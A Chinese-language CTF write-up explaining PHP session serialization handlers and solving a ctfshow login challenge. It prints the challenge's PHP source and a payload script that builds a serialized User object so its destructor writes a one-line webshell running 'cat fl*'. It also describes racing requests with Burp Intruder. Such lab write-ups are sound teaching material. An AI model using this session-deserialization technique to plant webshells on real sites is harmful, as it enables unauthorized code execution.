最近做了几道Session相关的题目,所以想记录一下
什么是PHP Session
首先应该先了解什么是session
Session被我们称作“会话控制”,可以简单的理解为客户和网站或者服务器比较安全的对话方式。Session对象存储特定用户会话所需的属性及配置信息。一旦开启了session会话,就可以在网站的任何页面使用或者保持这个会话了,从而建立了一种“会话”机制。
PHP Session是一中特殊的变量,可用于存储关于用户会话的信息,或者更改用户会话的设置,PHP Session变量储存单一用户信息,并且对于应用程序中的所有页面都是可用的,并且相对于的具体session值会存储域服务器端,这也是与cookie的区别。
PHP session的php.ini配置
- session.sava_path=’’
设置session的储存路径
- session.save_handler=’’
该配置主要设定用户自定义存储函数,如果想使用PHP内置session储存机制之外的可以使用这个函数
- session.user_strict_mode
严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
- session.auto_start
指定会话模块是否在请求开始时启动一个会话,默认值为0,不启动
- session.cookie_path
指定要设置会话cookie.路径,默认为/
- session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎的对应的session的储存方式不相同,具体可见下文所述
- session.upload_progress.cleanup
读取所有POST数据(即完成上传)后,立即清理进度信息,默认启动
PHP session的存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的
php_serialize 经过serialize()函数序列化数组
php 键名+竖线+经过serialize()函数处理的值
php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值
来道例题感受一下吧~
找了很久都没有发现可以利用的点,就很懵逼,回头去看了下提示:程序员二黑临走前植入了一个后门,你能帮公司找出来吗?
然后看了其他师傅的wp,可以/www.zip把源码给down下来。
这里展示一下下载源码的文件及路径
————————————————————————————————————————
————————————————————————————————————————
这里是index.php的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <?php
error_reporting(0); session_start(); if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"> <title>ctfshow登陆</title> <link href="css/style.css" rel="stylesheet"> </head> <body>
<div class="pc-kk-form"> <center><h1>CTFshow 登陆</h1></center><br><br> <form action="" onsubmit="return false;"> <div class="pc-kk-form-list"> <input id="u" type="text" placeholder="用户名"> </div> <div class="pc-kk-form-list"> <input id="pass" type="password" placeholder="密码"> </div> <div class="pc-kk-form-btn"> <button onclick="check();">登陆</button> </div> </form> </div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script>
function check(){ $.ajax({ url:'check.php', type: 'GET', data:{ 'u':$('#u').val(), 'pass':$('#pass').val() }, success:function(data){ alert(JSON.parse(data).msg); }, error:function(data){ alert(JSON.parse(data).msg); }
}); }
</script>
</body> </html>
|
这里是check.php的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); } }
|
这里是/inc/inc.php的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; $db = new CTFSHOW([ 'database_type' => 'mysql', 'database_name' => 'web', 'server' => 'localhost', 'username' => 'root', 'password' => 'root', 'charset' => 'utf8', 'port' => 3306, 'prefix' => '', 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]);
function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); } }
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
function uuid() { $chars = md5(uniqid(mt_rand(), true)); $uuid = substr ( $chars, 0, 8 ) . '-' . substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-' . substr ( $chars, 16, 4 ) . '-' . substr ( $chars, 20, 12 ); return $uuid ; }
|
通过代码审计我发现
在index.php中使用了session_start()
并且参数limit是我们可以控制的session
在check.php中使用了require_once 'inc/inc.php';
require这个文件包含的函数,因此我们可以去看看inc.php
在inc.php中存在
1 2
| ini_set('session.serialize_handler', 'php'); session_start();
|
并且在User类中还有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
|
1 2 3 4
| 因此我们的思路便出来了: 1.在index.php中利用可控的limit来传参 2.index.php会经过check.php的检查,但是check.php中又有`require_once 'inc/inc.php'`让我们进入到inc.php中 3.在inc.php中因为有`ini_set('session.serialize_handler', 'php');`会对/tmp/sess_sessID进行读取,以及`session_start();`和`User`类的存在,我们在对`_destruct`这个函数的利用,写入一句话木马到指定的文件,便可以得到我们的flag
|
Payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } } $a =new User("1.php","<?php system('cat fl*');?>"); echo serialize($a); ?>
|
bp抓取index.php修改limit的值
————————————————————————————————————————
然后让index.php和check.php通过intruder模块一直发包,避免session上传被clearup
————————————————————————————————————————
————————————————————————————————————————
————————————————————————————————————————
最后访问log-1.php及可得到flag
(至于为什么要加log-
了?好好审一下代码吧~)
————————————————————————————————————————
————————————————————————————————————————